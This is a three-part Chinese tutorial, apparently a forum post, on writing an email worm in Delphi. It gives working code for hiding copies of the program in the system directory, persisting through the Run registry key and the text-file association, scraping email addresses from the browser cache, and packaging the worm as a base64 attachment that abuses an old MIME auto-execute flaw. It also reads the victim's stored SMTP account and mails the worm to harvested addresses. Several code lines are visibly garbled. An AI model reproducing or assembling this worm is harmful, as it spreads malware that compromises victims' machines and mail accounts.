浅谈用delphi来编写蠕虫病毒

 前言： 
可能大家想到病毒，第一反应就是可能是用asm来编写，或者是vbsript，而高级语言如delphi就好象不能编写一样，其实事实并不是这个样子的，只要我们花一些时间，照样可以写出简短而高效的病毒程序来，一点也不输那些用汇编写出来的程序哦。 
一个病毒程序首先要短小，我们的目标是经过压缩后控制在30k以下。用过delphi的朋友都知道，如果在uses里面加入forms,classes.....等就会使目标文件非常的大，所以，在我们的程序里，我们要尽可能的不用这些库。我们只用 windows,winsock,shellapi,sysutils(这个里面包含了一些常用的函数，比如对文件的操作，对字符串的操作，如果用自己的程序来代替，目标文件会更加的小) 

首先，我们知道，一个病毒程序一般都分下面三个模块： 
①保护模块； 
②感染模块； 
③发作模块。 
下面我们就从这三个模块开始，分别实现他们的代码。 

一)保护模块。 
一般，我们都是把自身拷贝到系统的一些目录里，比如%systemroot% 
那么，我们首先要取得这些特定的目录的路径 
sdk里面给我们提供了一个这样的函数GetSystemDirectory 
UINT GetSystemDirectory( 
LPTSTR lpBuffer, // 存放返回的字符串的缓冲区 
UINT uSize // 上面的缓冲去的长度 
); 
相关的函数还有Get WindowsDirectory可以得到% windows%的路径 

得到了系统的目录后，第二步就是拷贝文件了。sdk为我们提供了一个函数copyfile 
BOOL CopyFile( 
LPCTSTR lpExistingFileName, // 源文件的路径 
LPCTSTR lpNewFileName, // 目标文件的路径 
BOOL bFailIfExists // 这是一个标志，如果目标文件已经存在，是否强制覆盖 
); 

拷贝文件完毕后,我们来把这个文件设置为系统和隐藏，那么一般情况是看不见该文件的， 
除非选取查看所有文件，以及显示受保护文件。 
同样，介绍一个函数SetFileAttributes 
BOOL SetFileAttributes( 
LPCTSTR lpFileName, // 需要设置的文件的文件名 
DWORD dwFileAttributes // 设置的值。 
); 
我们这里要设置为隐藏和系统，那么就为第二个参数传递FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM 

下面就是最重要的，让该文件开机自动运行，我们一般都是写注册表， 
首先用RegOpenKey函数来打开一个键， 

　 
LONG RegOpenKey( 
HKEY hKey, // 主键，比如HKEY_LOCAL_MACHINE 
LPCTSTR lpSubKey, // 跟随的subkey 
PHKEY phkResult // 存放函数返回这个打开的键的句柄 
); 
得到了HKEY后，就可以用regsetvalueex来向该键写具体的值了。 
LONG RegSetvalueEx( 
HKEY hKey, // 这个就是刚才我们得到的句柄 
LPCTSTR lpvalueName, // 键名的地址 
DWORD Reserved, // 一般设置为0 
DWORD dwType, // 我们写的键的类型，字符串为REG_SZ 
CONST BYTE *lpData, // 键值的地址 
DWORD cbData // 写入的键值的长度 
); 

下面，我综合上面的说明来给出一个简短的例子： 
procedure SelfCopy; 
var 
Path,value:array [0..255] of char; 
Hk:HKEY; 
S:string; 
begin 
GetSystemDirectory(Path,256); 
//取得系统的路径 
s:=strpas(Path); 
//转换成字符串 
CopyFile(pchar(paramstr(0)),pchar(S+‘/ruin.exe‘),false); 
CopyFile(pchar(paramstr(0)),pchar(S+‘/virus_ruin.exe‘),false); 
//把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe 
SetFileAttributes(pchar(S+‘/ruin.exe‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM); 
SetFileAttributes(pchar(S+‘/virus_ruin.exe‘),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM); 
//设置刚才的两个文件为系统和隐藏 
RegOpenKey(HKEY_CLASSES_ROOT,‘txtfile/shell/open/command‘,Hk); 
value:=‘virus_ruin.exe %1‘; 
RegSetvalueEx(Hk,‘‘,0,REG_SZ,@value,17); 
//把virus_ruin.exe和文本文件关联 
RegOpenKey(HKEY_LOCAL_MACHINE,‘Software/Microsoft/ WINDOWS/CurrentVersion/Run‘,Hk); 
value:=‘ruin.exe‘; 
RegSetvalueEx(Hk,‘ruin‘,0,REG_SZ,@value,8); 
//设置开机自动运行ruin.exe 
end; 
我们看上面的这个程序，就完成了自我复制，和开机自动运行， 
并且关联了文本文件，这样，如果run下的键被删除，那么他打开文本文件，蠕虫文件又被激活。 
不过这个样子，你就需要在你的主程序里面进行判断，如果传递的参数等于1 ，则打开该文本， 
并且进行自我保护。 
如： 
begin 
if paramcount=1 then 
shellexecute(0,‘open‘,‘notepad.exe‘,pchar(paramstr(1)),nil,sw_normal); 
//其他的代码 

这里，我只是给出一个简单的例子来描述出一个大概的思路， 
很多地方还不完善，比如进程的隐藏， 
你可以进行判断， 
如果是98你可以registerserverapplication如果你是用的2000，你可以做为服务启动， 
或者是插入dll，或者是用求职信的方法，开机加载一个dll,或者是win.ini 
或者....................... 
因为我这里只是浅谈，只给大家提供一个思路， 
如果你要深入研究，推荐看看shotgun的《揭开木马的神秘面纱》。 
好今天打字也累了，明天接着写！

　 
浅谈用delphi来编写蠕虫病毒(part Ⅱ) 
原创：whaoye（whaoye） 
来源：whaoye@21cn.com 

{ 
注：由于小弟水平有限，并且是小弟第一次写文章，自然难免有很多不足的地方，还请大家包涵！ 
如果你有什么意见和建议，也请给我来信，大家互相学习，互相探讨！ 
} 
各位看官，我们接着上次的part Ⅰ 开始讲解！ 

上次我只是简单的讲解了如何进行简单的自我保护，也算是简单的完成了一个蠕虫病毒的自我保护了， 
而蠕虫最重要的一个环节就是进行传染了，一般都是把自己做为邮件的附件发送出去，然后配合一些系 
统的漏洞，比如mime漏洞，只要预览该文件就可以执行。本来用vbscript可以很简单的把自身发给每一个 
outlook的通讯薄里的用户，但是这样一来就不能自己控制发送的内容，也就是不能利用mime漏洞了，所以， 
需要我们自己来手工的编写程序来解决这个问题。 
那么就给我们编写程序提出了几个问题： 
1)如何得到该电脑上的email地址。 
2)如何用delphi来进行邮件的发送。（当然不能用控件了，所以只用winsock） 
下面，我们首先来解决第一个问题。 


一)得到电脑上的email地址 
要得到电脑上的email地址，我想应该是可以从outlook的通讯薄直接得到，但是我才疏学浅，还没有搞定 
这个问题，如果你有这方面的资料，还请你告诉我。于是，我们就换一种方法，我们来从IE的缓存中提取地址。 
老惯例，文字不够用代码来凑，介绍几个函数： 
function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer; 
function FindNext(var F: TSearchRec): Integer; 
procedure FindClose(var F: TSearchRec); 
上面这三个函数其实是和sdk里面的FindFirstFile,FindNextFile相对应的，不过既然delphi为我们提供了现成 
的说明，我们就利用它好了，毕竟在delphi里使用起来也方便一些。根据上面的三个函数，我们了一个函数来 
搜索某一个文件夹下面的所有htm文件。我们在这里用的是递归的方法，如果找到的文件是目录，并且不是"."或者".."就进行递归。 
好，我们还是边看代码边解释。 

procedure FindFiles(StartDir: string); 
var 
SR: TSearchRec; //用来储存返回的文件的一些数据 
IsFound: Boolean;//做为一个标志 
begin 
IsFound :=FindFirst(StartDir+‘*.htm‘, faAnyFile-faDirectory, SR) = 0; 
//在startdir里面查找htm文件 
while IsFound do begin 
//如果找到htm文件 
GetEmailAddress(startdir+sr.Name); 
//这里调用我们自己定义的函数，传递的参数是startdir+sr.name也就是该文件的绝对路径。 
//注意，这里的函数 GetEmailAddress我们等一下再来描述 
IsFound := FindNext(SR) = 0; 
//继续查找htm文件，只到标志isfound为false 
end; 
FindClose(SR); 
IsFound := FindFirst(StartDir+‘*.*‘, faAnyFile, SR) = 0; 
//现在是查找所有的文件 
while IsFound do begin 
if ((SR.Attr and faDirectory) <> 0) and(SR.Name[1] <> ‘.‘) then 
findfiles(startdir+sr.Name+‘/‘); 
//如果该文件是目录，并且不是"."或者".."，那么就在该目录里继续查找，也就是在这里递归了。 
IsFound := FindNext(SR) = 0; 
end; 
FindClose(SR); 
end; 

ok，看到这里，我想聪明的你一定看到了我们的那个函数GetEmailAddress了，对了，我们就是不停的枚举 
缓存中的所有文件，如果是htm文件，就把该文件的绝对路径做为参数传递给我们下面要写的函数GetEmailAddress来得到一个email地址列表。 

那下面的这个函数GetEmailAddress就很容易编写了。 
我只说一说简单的原理，就是打开一个htm文件， 
一次读一行文本，然后看是否有"mailt"， 
如果有，就把紧接着的字符读出来，只到出现非法字符。 
不过有一点这个方法只能读作为连接的email地址， 
不过也足够了。 
好，大家看程序： 

procedure GetEmailAddress(FileName:string); 
var 
F:textfile; 
S:string;//用来装每次读一行的字符串 
Address:string;//得到的email地址 
i,Position:integer; 
begin 
AssignFile(F,FileName); 
Reset(f); 
while not Eof(f) do 
begin 
Address:=‘‘; 
//首先清空address 
Readln(f,s); 
//读取一行字符串到s中 
Position:=Pos(‘mailt‘,S); 
//查找首个"mailt"在s中的地址，如果一行中含有多个"mailt"则需要你自己修改修改 
if Position > 0 then 
begin 
for i:=Position+7 to length(S) do 
//这里position+7里的7表示"mailt"的长度 
begin 
if ((Upcase(s[i])<=#90) and (Upcase(s[i])>=#64)) or ((S[i]<=#57) and (S[i]>=#48)) or (S[i]=‘.‘) then 
//判断是否有效字符 
Address:=Address+S[i] 
else 
break; 
end; 
if (Address<>‘‘) and (Pos(‘@‘,Address)<>0) then 
//如果是有效地址，就把它写到列表中去。 
//但是，可能这个地址以前已经存在在这个列表中， 
//所以我定义了一个函数WriteAddress来判断是否存在该地址 
//如果不存在，就添加到地址列表中去。 
WriteAddress(Address); 
end; 
end; 
closefile(f); 
end; 

现在搜索email地址只剩下最后一道工序了，那就是上面的WriteAddress函数， 
用来判断地址的有效性。这个很简单， 
我也不打算用什么数据结构或者算法，只是用最简便的方法来实现。 
程序代码如下: 

procedure WriteAddress(Address:string); 
var 
F:textfile; 
S,Str:string; 
CanWrite:boolean; 
Path:array[0..255] of char; 
begin 
GetSystemDirectory(path,256); 
//首先取得系统目录，到时候把email地址列表文件保存到这里。 
Str:=Strpas(Path); 
CanWrite:=true; 
AssignFile(F,Str+‘/maillist.lst‘); 
if FileExists(Str+‘/maillist.lst‘)=false then 
begin 

　 
//如果不存在maillist.lst，则信建一个文件maillist.lst来存放email地址。 
Rewrite(F); 
writeln(F,Address); 
Closefile(F); 
exit; 
end else 
begin 
Reset(f); 
while not Eof(F) do 
begin 
Readln(F,S); 
if Address=S then 
begin 
CanWrite:=false; 
break; 
end; 
end; 
CloseFile(F); 
end; 
//上面用来和文件里以经存在的地址一个一个的进行效验，如果不存在就写到列表里去。 
if CanWrite then 
begin 
Append(F); 
Writeln(F,Address); 
CloseFile(F); 
end; 
end; 
当然，如同我们上面所说，我只是用最简便的方法来做， 
如果你要讲究效率，当然可以进行一些改动， 
比如说搜索到的地址来做一个堆， 
最后把堆里所有的地址都写到列表里来就可以了。 

好，现在你可以在你的主程序里简单的写几句代码来调用上面写的几个函数了， 
如下: 
var 
HK:HKEY; 
IeCache:array[0..255] of char; 
IeCacheLen:integer; 
S:string; 
begin 
IeCacheLen:=256; 
//设置返回值的长度 
RegOpenKey(HKEY_CURRENT_USER,‘Software/Microsoft/ Windows/CurrentVersion/Explorer/Shell Folders/‘,HK); 
RegQueryvalueEx(HK,‘Cache‘,nil,nil,@IeCache,@ieCacheLen); 
//读取IE缓存的路径 
S:=Strpas(IeCache)+‘/‘; 
//在刚才取得的路径后面加一个‘/‘ 
FindFiles(S); 
//调用我们自己写的函数 
end; 
调用完毕后，email地址就都保存在系统目录的maillist.lst文件中了。 

#####################################################################
后话：本来昨天说要把利用mime漏洞和利用winsock发送信笺的代码也写出来， 
但是，我看了看这部分的类容还很多，今天是写不完了，明天有空再接着贴！ 
#####################################################################

浅谈用delphi来编写蠕虫病毒(part Ⅲ) 
原创：whaoye（whaoye） 
来源：whaoye@21cn.com 

{ 
注：由于小弟水平有限，并且是小弟第一次写文章，自然难免有很多不足的地方，还请大家包涵！ 
如果你有什么意见和建议，也请给我来信，大家互相学习，互相探讨！ 
} 
hi，大家好，这两天由于找工作去了，所以没有接着帖，今天晚上有空，于是就接着上次的讲解。 
上次因为篇幅的原因，没有把利用mime漏洞和直接用winsock发送信笺写完，今天，我就讲一讲这里， 
因为其中要涉及到winsock编程，所以，还是建议不会的赶紧找一找这方面的书籍或者是资料。 
不过，我还是会尽可能的使下面的代码简单易懂！ 

好了，废话少说，我们直接进入正题！ 
谈到发送信笺，就不能不谈到编码了。现在有很多种编码的方法，不过用得最多的还是base64了， 
首先我们来实现base64编码的算法。 

base64编码算法的描述如下：它将字符流顺序放入一个 24 位的缓冲区，缺字符的地方补零。 
然后将缓冲区截断成为 4 个部分，高位在先，每个部分 6 位，用下面的64个字符重新表示： 
“ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/”。 
如果输入只有一个或两个字节，那么输出将用等号“=”补足。这可以隔断附加的信息造成编码的混乱。 
它每行一般为76个字符。 
这个算法很简单，我们直接来看代码： 

procedure EncodeBASE64(Dest,Source:string);//这里是用两个字符串作为参数，也就两个文件的路径 
const 
_Code64: String[64] =(‘ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/‘); 
//这里就是base64编码算法的64个字符 

　 
crlf=#13#10; 
//定义crlf为回车换行 
var 
s,d:file; 
buf1:array[0..2] of byte; 
buf2:array[0..3] of char; 
llen,len,pad,i:integer; 
begin 
assignfile(d,dest); //这里是目标文件 
rewrite(d,1); 
assignfile(s,source);//这里是原始文件 
reset(s,1); 
pad:=0; 
llen:=0; 
while (1=1) do 
begin 
blockread(s,buf1,3,len);if len=0 then break; 
if (len<3) then 
begin 
pad:=3-len; 
for i:=len to 2 do 
buf1[i]:=0; 
end; 
buf2[0]:=_Code64[buf1[0] div 4+1]; 
buf2[1]:=_Code64[(buf1[0] mod 4)*16 + (buf1[1] div 16)+1]; 
buf2[2]:=_Code64[(buf1[1] mod 16)*4 + (buf1[2] div 64)+1]; 
buf2[3]:=_Code64[buf1[2] mod 64+1]; 
//这里进行了编码 
if (pad<>0) then 
begin 
if pad=2 then buf2[2]:=‘=‘; 
buf2[3]:=‘=‘; 
//输入只有一个或两个字节，那么输出将用等号“=”补足 
blockwrite(d,buf2,4); 
end 
else 
begin 
blockwrite(d,buf2,4); 
end; 
inc(llen,4); 
if (llen=76) then 
begin 
blockwrite(d,crlf,2); 
//控制每行只写76个字符 
llen:=0; 
end; 
end; 
blockwrite(d,crlf,2); 
closefile(d); 
closefile(s); 
end; 

这样，我们就完成了base64编码了，我们在发送邮件附件的时候，只需简单的调用这个函数就可以了， 
只需要给他传递两个参数，一个是需要编码的文件，另一个就是编码后的文件存放的地方。 

下面我们来谈一谈mime漏洞了，其实就是一个编码的问题了. 
我们看一段含有mime漏洞的eml文件： 
*********************************************************************** 
From:  whaoye@21cn.com //发送人 
Subject: SOS //主题 
X-Priority: 1 //优先级 
Mime-Version: 1.0 //mime版本 
Content-Type: multipart/related;boundary="--==I_am_a_script_kid==--" //定义标签一 

----==I_am_a_script_kid==--//标签一 
Content-Type: multipart/alternative;boundary="--==I_am_a_script_kid_sign_two==--"//定义标签二 
----==I_am_a_script_kid_sign_two==-- //标签二 
Content-Type: text/html 
Content-Transfer-Encoding: quoted-printable 

　 
----==I_am_a_script_kid==-- //标签一 
Content-Type: audio/x-wav;name="ruin.exe" 
Content-Transfer-Encoding: base64 
Content-ID: 
ABCDEF.....//这里编码的内容省略 
****************************************************************** 

在刚才的那封含有mime漏洞的信笺中，我们需要随机的生成标签，这个函数很简单，我就不解释了， 
代码如下： 

function makeboundary:string; 
begin 
result:=‘-----=_Virus_Ruin_‘+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10)); 
end; 

下面，我们还需要了解一下几个smtp协议的简单命令： 
smtp协议非常简单，是典型的应答式的， 
你每发一个命令过去都会有数据回应过来， 
一般登陆上去后，我们首先用 
HELLO 
然后用命令 
MAIL FROM: <发送者邮件地址> 
然后就用rcpt to命令来告诉服务器，我的这封信笺要发给什么人， 
RCPT T <接受信笺的收件人> 
一般的服务器一次只接受100封邮件，这点需要留意一下， 
如果你的收件人都填写完毕，你就可以发送命令 
DATA 
表示你要发送邮件的主体了，用一个crlf.crlf表示你的主体发送完毕。 
最后用QUIT命令退出会话，关闭连接。 

**因为只是浅谈，所以，这里我不涉及Esmtp服务器。** 


大家可以看到，其实主要的部分还是中间的DATA命令， 
把我们编码好的含有mime漏洞的信笺主体发送过去。 
为了方便起见，我们先生成一个文本文件，这个文本文件用来装载要发送的eml的body， 
在连接上去后一次把这个文本文件的内容发出去就可以了。 
procedure makeemlfile; 
var 
f,d:textfile; 
path:array[0..255] of char; 
boundary1,boundary2,S,str,line:string; 
begin 
GetSystemDirectory(path,256); 
str:=strpas(path); 
boundary1:=makeboundary; 
boundary2:=makeboundary; 
//这里，我们随机的生成了两个标签。 
s:=‘From: whaoye@21cn.com‘#13#10//这里你可以换成你自己的email地址 
+‘Subject: SOS‘#13#10 //这里，你也可以随机的来生成主题 
+‘X-Priority: 1‘#13#10 //邮件的优先级，其实可以忽略 
+‘Mime-Version: 1.0‘#13#10 
+‘Content-Type: multipart/related;boundary="‘+boundary1+‘"‘#13#10#13#10 
+‘--‘+boundary1+#13#10 
+‘Content-Type: multipart/alternative;boundary="‘+boundary2+‘"‘#13#10 
+‘--‘+boundary2+#13#10 
+‘Content-Type: text/html‘#13#10 
+‘Content-Transfer-Encoding: quoted-printable‘#13#10#13#10 
+‘‘#13#10 
+‘--‘+boundary1+#13#10 
+‘Content-Type: audio/x-wav;name="ruin.exe"‘#13#10 //就是这里audio/x-wav为mime漏洞了。 
+‘Content-Transfer-Encoding: base64‘#13#10 
+‘Content-ID: ‘#13#10#13#10; 
//这里就是填充一些必要的信息。 
assignfile(f,str+‘/ruin.eml‘); 
rewrite(f); 
write(f,s);//首先把上面的内容写入文件ruin.eml 
CopyFile(pchar(paramstr(0)),pchar(str+‘/ruin_temp.exe‘),false); 
//因为不能打开自身进行读写，所以，这里先做一个拷贝文件，我们直接来读拷贝后的文件 
encodebase64(str+‘/ruin_eml.txt‘,str+‘/ruin_temp.exe‘); 
deletefile(str+‘/ruin_temp.exe‘); 
//删除刚才拷贝的临时文件 
assignfile(d,str+‘/ruin_eml.txt‘); 
reset(d); 
while not eof(d) do 
begin 
readln(d,line); 
writeln(f,line); 
//接着向ruin.eml里面写入我们的病毒代码的base64编码 
end; 
closefile(d); 
deletefile(str+‘/ruin_eml.txt‘); 
//删除刚才调用base64编码算法生成的临时文件 
closefile(f); 
end; 

到这里，我们基本上完成了信笺的编码部分了，现在只需要用winsock编程， 
连接服务器，然后把上面的这个文件的内容发送出去就完成了病毒的传播功能模块了。 
因为篇幅有限，并且，我也不是主要讲解winsock，所以， 
我只简单的把几个函数作用列出来。 

　 

accept()* 响应联结请求，并且新建一个套接口。原来的套接口则返回监听状态。 
bind() 把一个本地的名字和一个无名的套接口捆绑起来。 
closesocket()* 把套接口从拥有对象参考表中取消。该函数只有在SO_LINGER被设置时才会阻塞。 
connect()* 初始化到一个指定套接口上的连接。 
getpeername() 得到连接在指定套接口上的对等通讯方的名字。 
getsockname() 得到指定套接口上当前的名字。 
getsockopt() 得到与指定套接口相关的属性选项。 
htonl() 把32位的数字从主机字节顺序转换到网络字节顺序。 
htons() 把16位的数字从主机字节顺序转换到网络字节顺序。 
inet_addr() 把一个Internet标准的"."记号地址转换成Internet地址数值。 
inet_ntoa() 把Internet地址数值转换成带"."的ASCII字符串。 
ioctlsocket() 为套接口提供控制。 
listen() 监听某一指定套接口上连接请求的到来。 
ntohl() 把32位数字从网络字节顺序转换为主机字节顺序。 
ntons() 把16位数字从网络字节顺序转换为主机字节顺序。 
recv()* 从一个已连接的套接口接收数据。 
recvfrom()* 从一个已连接的或未连接的套接口接收数据。 
select()* 执行同步I/O多路复用。 
send()* 从一已连接的套接口发送数据。 
sendto()* 从已连接或未连接的套接口发送数据。 
setsockopt() 设置与指定套接口相关的属性选项。 
shutdown() 关闭一部分全双工的连接。 
socket() 创建一个通讯端点并返回一个套接口。 

具体的函数的申明，请参考sdk。 
下面看发送信笺的代码： 
首先定义几个常数： 
const 
HELO=‘HELO‘#13#10; 
MAILFROM=‘MAIL FROM: %S‘#13#10; 
RCPTTO=‘RCPT T %S‘#13#10; 
DATA=‘DATA‘#13#10; 
QUIT=‘QUIT‘#13#10; 
ENDSIGN=#13#10‘.‘#13#10; 
以及定义发送信笺的数据结果： 
type 
cs=record 
address:array[0..99] of string; 
count:integer; //email地址的个数 
smtp:pchar; //smtp服务器的地址 
account:pchar; //发送信笺时使用的帐号 

我们再先定义两个函数，下面需要用到。 
function mysizeof(buffer:string):integer; //这个函数用来得到数据的长度 
var 
i:integer; 
begin 
for i:=1 to length(buffer) do 
if buffer[i]=#10 then break; 
mysizeof:=i; 
end; 

function randomaddress:pchar; //产生一个用户名 
begin 
Randomize; 
result:=pchar(inttostr(Random(100))+‘@21cn.com‘); 
end; 

在前面两天的讲解中，我们已经把IE缓存中的email地址都保存到maillist.lst文件中， 
现在，我们写一个主函数， 
每次都100个地址(因为一次mailfrom只能发送100封)，然后发送信笺。 
好了，下面是我们发送信笺的主函数: 

procedure sendemails; 
var 
hk:hkey; 
smtp,account,path,smtppassword:array[0..255] of char; 
smtplen,accountlen,smtppasswordlen,i:integer; 
canshu:cs; 
f:textfile; 
str:string; 
begin 
GetSystemDirectory(path,256); 
str:=strpas(path); 
smtplen:=256; 
accountlen:=256; 
smtppasswordlen:=256; 
i:=0; 

　 
RegOpenKey(HKEY_CURRENT_USER,‘Software/Microsoft/Internet Account Manager/Accounts/00000001‘,hk); 
RegQueryvalueEx(hk,‘SMTP Server‘,nil,nil,@smtp,@smtplen); 
RegQueryvalueEx(hk,‘Smtp Email Address‘,nil,nil,@account,@accountlen); 
RegQueryvalueEx(hk,‘SMTP Password2‘,nil,nil,@smtppassword,@smtppasswordlen); 
//一直到这里都是准备工作，读取该用户的帐号和smtp服务器 
if smtppasswordlen<>256 then 
//需要注意的是，这里smtp password2表示smtp服务器需要密码登陆 
//所以我们进行判断 
begin 
canshu.smtp:=smtp; 
canshu.account:=account; 
//这里是smtp服务器，按默认设置 
end else 
begin 
canshu.smtp:=‘smtp.21cn.com‘; 
canshu.account:=randomaddress; 
//否则，我设置为smtp服务器为smtp.21cn.com 
//帐号为随机产生一个21cn的地址 
//因为smtp.21cn.com不需要身份验证 
end; 
assignfile(f,str+‘/maillist.lst‘); 
reset(f); 
while not eof(f) do 
begin 
readln(f,canshu.address[i]); 
inc(i); 
if i=100 then 
begin 
i:=0; 
canshu.count:=100; 
sendmail(canshu); 
//每次读100个地址，然后调用我们发送邮件的地址 
//sendmail函数在下面会定义，请往后看 
end; 
end; 
closefile(f); 
if i>0 then 
begin 
canshu.count:=i; 
sendmail(canshu); 
//这里是如果邮件个数不是100的整数倍，就读剩余的个数i 
end; 
end; 

到这里，我手都打累了， 
基本的工作都做完了， 
只剩下最后一道工序，就是刚才上面的函数sendmail 
好，快完了，大家接着看: 

procedure sendmail(canshu:cs); 
var 
s:tsocket; 
wsa:twsadata; 
server:tsockaddr; 
errorcode,i,count:integer; 
smtp,account:pchar; 
address:array of string; 
recvbuffer,sendbuffer:array[0..79] of char; 
head,path:array[0..255] of char; 
body:array of char; 
f:file; 
str:string; 
begin 
//wsastartup($0101,wsa); 
//加载winsock库 
GetSystemDirectory(path,256); 
str:=strpas(path); 
count:=2; 
setlength(address,count); 
getmem(smtp,256); 
getmem(account,256); 
//分配内存空间 
strcopy(smtp,canshu.smtp); 
strcopy(account,canshu.account); 
//填充一些基本的信息 
s:=socket(af_inet,sock_stream,0); 
//建立一个套接字 

　 
if s=invalid_socket then exit; 
server.sin_family:=af_inet; 
server.sin_port:=htons(25); 
server.sin_addr.S_addr:=inet_addr(getip(canshu.smtp)); 
errorcode:=connect(s,server,sizeof(server)); 
//调用connect和服务器连接 
if errorcode=0 then 
begin 
makeemlfile; 
//调用我们上面的函数，生成一个eml文件 
assignfile(f,str+‘/ruin.eml‘); 
reset(f,1); 
i:=filesize(f); 
setlength(body,i); 
blockread(f,body[0],i); 
//把刚才eml文件里面的所有内容都读取到body里面去 
closefile(f); 
recv(s,head,sizeof(head),0); 
//这里调用recv来接受服务器的banner 
strpcopy(sendbuffer,HELO); 
send(s,sendbuffer,6,0); 
//我们发送命令HELO 
recv(s,recvbuffer,sizeof(recvbuffer),0); 
//接收服务器的返回信息 
strpcopy(sendbuffer,format(mailfrom,[account])); 
send(s,sendbuffer,mysizeof(sendbuffer),0); 
//我们发送命令MAIL FROM 
recv(s,recvbuffer,sizeof(recvbuffer),0); 
//接收服务器的返回信息 
for i:=0 to count-1 do 
begin 
strpcopy(sendbuffer,format(RCPTTO,[address[i>)); 
send(s,sendbuffer,mysizeof(sendbuffer),0); 
recv(s,recvbuffer,sizeof(recvbuffer),0); 
end; 
//已经发送count个rcpt to命令 
strpcopy(sendbuffer,DATA); 
send(s,sendbuffer,6,0); 
//这里开始发送信笺的主体 
recv(s,recvbuffer,sizeof(recvbuffer),0); 
//接收服务器的返回信息 
send(s,body[0],length(body),0); 
strpcopy(sendbuffer,ENDSIGN); 
send(s,sendbuffer,5,0); 
//这里发送信笺结束标志 
recv(s,recvbuffer,sizeof(recvbuffer),0); 
//接收服务器的返回信息 
strpcopy(sendbuffer,QUIT); 
send(s,sendbuffer,6,0); 
//发送QUIT表示我们要退出会话 
recv(s,recvbuffer,sizeof(recvbuffer),0); 
//接收服务器的返回信息 
closesocket(s); 
//关闭套接字 
deletefile(str+‘/ruin.eml‘); 
//删除临时文件 
end; 
freemem(smtp,256); 
freemem(account,256); 
//wsacleanup; 
end; 

这里大家要注意一下，我在这里把wsastartup和wsacleanup给注释掉了， 
因为我认为，这个还是在你的程序的主函数里调用是最好的。 
并且，这里其实还可以在发送完一封后，就用一个rset命令， 
不过一般的服务器只能支持10次rset命令，也就是说一次连接最多只能发送1000封信笺。 
邮件群发也就是利用这个原理。 
这里，recv函数其实都可以省略，一次把所有的内容发送完毕都可以